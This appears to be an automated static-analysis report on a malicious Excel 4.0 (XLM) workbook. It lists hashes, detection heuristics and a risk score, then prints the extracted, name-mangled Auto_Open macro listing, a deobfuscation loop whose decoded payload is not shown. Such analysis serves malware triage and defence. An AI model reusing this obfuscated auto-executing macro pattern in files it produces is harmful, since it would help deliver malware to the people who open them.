Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1971260521c89b5d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:00 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 5246c634331764bf978e6426f671ecb3 SHA-1: 4fe3ed2131fa3479f9ca5cfedf5846841fb3070e SHA-256: 1971260521c89b5d24e92137a9910b3b56e33717f62860d5d25dbab4a31a24b5
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6967 bytes
SHA-256: 8ea1437d280299da795c47318106fd38592080169daf3d5c16c31a2e6a8f04a4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 40 identifiers look randomly generated (e.g. 'QCztOtBcdxlW') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rvivugogEr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D166 
' 0018     27 LABEL : Cell Value, String Constant - bUkqABuLmOmT len=0 
' 0018     25 LABEL : Cell Value, String Constant - ByDJuSGUdY len=0 
' 0018     27 LABEL : Cell Value, String Constant - CMstwJhjYZNB len=0 
' 0018     27 LABEL : Cell Value, String Constant - cpZNslKdyRwg len=0 
' 0018     24 LABEL : Cell Value, String Constant - GmfBUGLck len=0 
' 0018     27 LABEL : Cell Value, String Constant - hTzvIcUTMNUb len=0 
' 0018     26 LABEL : Cell Value, String Constant - JmcwTiSBUwa len=0 
' 0018     26 LABEL : Cell Value, String Constant - KlSGjRhCulI len=0 
' 0018     25 LABEL : Cell Value, String Constant - KXKQkqbnuL len=0 
' 0018     27 LABEL : Cell Value, String Constant - LnHMlWKNjufS len=0 
' 0018     26 LABEL : Cell Value, String Constant - LqLUwsgyCQp len=0 
' 0018     21 LABEL : Cell Value, String Constant - mMnAwM len=0 
' 0018     27 LABEL : Cell Value, String Constant - QCztOtBcdxlW len=0 
' 0018     24 LABEL : Cell Value, String Constant - QTEBgBmcC len=0 
' 0018     25 LABEL : Cell Value, String Constant - QtLvwSBYMK len=0 
' 0018     21 LABEL : Cell Value, String Constant - VmByfi len=0 
' 0018     25 LABEL : Cell Value, String Constant - wBqJRhghVo len=0 
' 0018     22 LABEL : Cell Value, String Constant - YvLlFla len=0 
' 0018     25 LABEL : Cell Value, String Constant - yzrgKMPQYZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZpNgzgiL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rvivugogEr,Q63,"",505.00000000000000000000
'  rvivugogEr,Q64,"",-492.00000000000000000000
'  rvivugogEr,D65,"SET.NAME("QTEBgBmcC",0+VALUE("0"))",""
'  rvivugogEr,Q65,"",-169.00000000000000000000
'  rvivugogEr,Q66,"",66.00000000000000000000
'  rvivugogEr,Q67,"",-17.00000000000000000000
'  rvivugogEr,Q68,"",-927.00000000000000000000
'  rvivugogEr,D69,"SET.NAME("GmfBUGLck",QTEBgBmcC)",""
'  rvivugogEr,D73,"SET.NAME("mMnAwM",QTEBgBmcC)",""
'  rvivugogEr,D77,"SET.NAME("ByDJuSGUdY",COUNTA(CMstwJhjYZNB))",""
'  rvivugogEr,D82,"SET.NAME("VmByfi",COUNTA(yzrgKMPQYZ))",""
'  rvivugogEr,D87,[],""
'  rvivugogEr,D89,"SET.NAME("YvLlFla","")",""
'  rvivugogEr,D94,"GmfBUGLck",""
'  rvivugogEr,D96,"SET.NAME("cpZNslKdyRwg",HLOOKUP("*",CMstwJhjYZNB,GmfBUGLck,FALSE))",""
'  rvivugogEr,D101,"QtLvwSBYMK",""
'  rvivugogEr,D105,"SET.NAME("bUkqABuLmOmT",QTEBgBmcC)",""
'  rvivugogEr,D110,[],""
'  rvivugogEr,D115,"bUkqABuLmOmT",""
'  rvivugogEr,D120,"LnHMlWKNjufS",""
'  rvivugogEr,D123,"wBqJRhghVo",""
'  rvivugogEr,D127,"JmcwTiSBUwa",""
'  rvivugogEr,D130,"SET.NAME("ZpNgzgiL",VALUE(HLOOKUP("*",yzrgKMPQYZ,JmcwTiSBUwa,FALSE)))",""
'  rvivugogEr,D134,"LqLUwsgyCQp",""
'  rvivugogEr,D136,"YvLlFla",""
'  rvivugogEr,D141,"mMnAwM",""
'  rvivugogEr,D145,NEXT(),""
'  rvivugogEr,D149,"QCztOtBcdxlW",""
'  rvivugogEr,D153,[],""
'  rvivugogEr,D156,"KXKQkqbnuL",""
'  rvivugogEr,D158,NEXT(),""
'  rvivugogEr,D162,RETURN(),""
'  rvivugogEr,D192,"SET.NAME("hTzvIcUTMNUb",D65)",""
'  rvivugogEr,D194,"CMstwJhjYZNB",""
'  rvivugogEr,D198,"SET.NAME("yzrgKMPQYZ",R57C15)",""
'  rvivugogEr,D201,"SET.NAME("KXKQkqbnuL",207)",""
'  rvivugogEr,D204,"SET.NAME("KlSGjRhCulI",4)",""
'  rvivugogEr,D206,hTzvIcUTMNUb(),""
'  rvivugogEr,D207,HALT(),""

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